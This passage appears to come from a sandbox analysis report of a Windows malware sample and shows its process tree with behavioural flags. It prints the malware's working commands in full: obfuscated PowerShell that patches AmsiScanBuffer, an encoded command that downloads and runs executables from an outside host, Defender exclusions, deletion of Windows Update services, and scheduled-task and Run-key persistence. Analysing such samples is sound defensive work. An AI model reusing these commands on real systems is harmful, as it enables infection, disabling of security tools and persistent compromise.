''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+'P'+''+'u'+'b'+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$sRmXoMRywHuyqr).SetImplementationFlags(''+[Char](82)+'unt'+[Char](105)+'m'+[Char](101)+',M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$eaoDxNfwrqt.DefineMethod(''+[Char](73)+''+[Char](110)+'vok'+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+'eB'+'y'+''+[Char](83)+'ig'+','+''+[Char](78)+'e'+'w'+''+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+'r'+''+[Char](116)+''+'u'+''+'a'+''+'l'+'',$GIPoeqsHRj,$sRmXoMRywHuyqr).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+''+'m'+'e'+','+''+'M'+''+[Char](97)+'n'+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $eaoDxNfwrqt.CreateType();}$KwMNSnluKYjBe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+'e'+[Char](75)+'w'+[Char](77)+''+[Char](78)+''+[Char](83)+''+[Char](110)+''+'l'+''+[Char](117)+''+[Char](75)+''+[Char](89)+''+[Char](106)+''+[Char](66)+''+'e'+'');$KZEbRtUkJSUKRt=$KwMNSnluKYjBe.GetMethod('K'+[Char](90)+''+[Char](69)+''+'b'+''+[Char](82)+''+[Char](116)+''+'U'+'k'+'J'+'S'+'U'+''+[Char](75)+''+[Char](82)+'t',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ziVNbQJZgnlLnujuruz=SWavgtPMGUxY @([String])([IntPtr]);$vOlXqlkxctWvggcSPZwfen=SWavgtPMGUxY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ZEseUSDbvDU=$KwMNSnluKYjBe.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+'d'+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+'e'+'l'+'3'+[Char](50)+'.'+[Char](100)+''+'l'+'l')));$GRCJFRWGCgvSGb=$KZEbRtUkJSUKRt.Invoke($Null,@([Object]$ZEseUSDbvDU,[Object]('L'+[Char](111)+'a'+'d'+'L'+'i'+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$jsTJZbaDDyUkjaYSN=$KZEbRtUkJSUKRt.Invoke($Null,@([Object]$ZEseUSDbvDU,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+'c'+''+'t'+'')));$YBBuUzI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GRCJFRWGCgvSGb,$ziVNbQJZgnlLnujuruz).Invoke(''+[Char](97)+''+[Char](109)+'si'+[Char](46)+''+[Char](100)+''+'l'+'l');$ApPrZBUfxQNmAJmeQ=$KZEbRtUkJSUKRt.Invoke($Null,@([Object]$YBBuUzI,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+'an'+[Char](66)+'uffe'+'r'+'')));$uwsYzPfXYP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jsTJZbaDDyUkjaYSN,$vOlXqlkxctWvggcSPZwfen).Invoke($ApPrZBUfxQNmAJmeQ,[uint32]8,4,[ref]$uwsYzPfXYP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ApPrZBUfxQNmAJmeQ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jsTJZbaDDyUkjaYSN,$vOlXqlkxctWvggcSPZwfen).Invoke($ApPrZBUfxQNmAJmeQ,[uint32]8,0x20,[ref]$uwsYzPfXYP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+[Char](101)+''+'r'+''+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1996
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:fIArlWcsKrzG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YuTVEdxiXaDRAF,[Parameter(Position=1)][Type]$gMSIjtczTX)$UlFeLiVNlqm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+'l'+[Char](101)+'c'+'t'+''+'e'+''+[Char](100)+''+[Char](68)+'el'+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+'ule',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'le'+'g'+'a'+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+'e','C'+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+'P'+'u'+'b'+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+'e'+'a'+''+[Char](108)+''+[Char](101)+'d,'+[Char](65)+'n'+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$UlFeLiVNlqm.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+'y'+'Si'+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YuTVEdxiXaDRAF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+'e'+'d'+'');$UlFeLiVNlqm.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+'S'+[Char](105)+'g'+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$gMSIjtczTX,$YuTVEdxiXaDRAF).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $UlFeLiVNlqm.CreateType();}$oKgJgEMjSFPOw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'in'+[Char](51)+'2'+'.'+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](111)+''+[Char](75)+'g'+'J'+''+[Char](103)+''+'E'+''+'M'+''+'j'+''+[Char](83)+'F'+'P'+''+[Char](79)+''+[Char](119)+'');$PpnmkmtXbkcoDm=$oKgJgEMjSFPOw.GetMethod('P'+[Char](112)+''+[Char](110)+''+[Char](109)+''+[Char](107)+''+[Char](109)+'t'+'X'+''+'b'+''+'k'+''+'c'+''+[Char](111)+'D'+'m'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+'t'+'ati'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kmGEopxXgbvYckYmPnY=fIArlWcsKrzG @([String])([IntPtr]);$bnKqHAJCCSNpHyNWlVqWXa=fIArlWcsKrzG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$feyTlZvimmp=$oKgJgEMjSFPOw.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+'u'+'l'+''+[Char](101)+''+'H'+'an'+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$NMANqtHqjFhOUa=$PpnmkmtXbkcoDm.Invoke($Null,@([Object]$feyTlZvimmp,[Object]('L'+[Char](111)+''+[Char](97)+'d'+'L'+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$JxcqzUOEWGRXbqrMU=$PpnmkmtXbkcoDm.Invoke($Null,@([Object]$feyTlZvimmp,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+''+'l'+'P'+[Char](114)+''+'o'+'te'+[Char](99)+'t')));$fcCQtDr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NMANqtHqjFhOUa,$kmGEopxXgbvYckYmPnY).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+'dll');$jeuYIhaukRperAvvz=$PpnmkmtXbkcoDm.Invoke($Null,@([Object]$fcCQtDr,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+'c'+''+'a'+'n'+[Char](66)+''+'u'+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$YvQXvCUQWB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JxcqzUOEWGRXbqrMU,$bnKqHAJCCSNpHyNWlVqWXa).Invoke($jeuYIhaukRperAvvz,[uint32]8,4,[ref]$YvQXvCUQWB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$jeuYIhaukRperAvvz,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JxcqzUOEWGRXbqrMU,$bnKqHAJCCSNpHyNWlVqWXa).Invoke($jeuYIhaukRperAvvz,[uint32]8,0x20,[ref]$YvQXvCUQWB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+'i'+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1896
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe2⤵
- Executes dropped EXE
PID:5024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:940
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3452
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3736
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4708
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4404
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4404 -s 3922⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3600
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4216
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3296
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3296 -s 6722⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3128
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:2864 -
C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1692
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 2766⤵
- Program crash
PID:4116
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3144 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1324 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:1396
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3236
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 2403⤵
- Program crash
PID:460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1396
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2700
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1492
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2724
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1628
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1684
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4676
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4268
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1112
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:2744
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2692
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3192
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4592
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2608
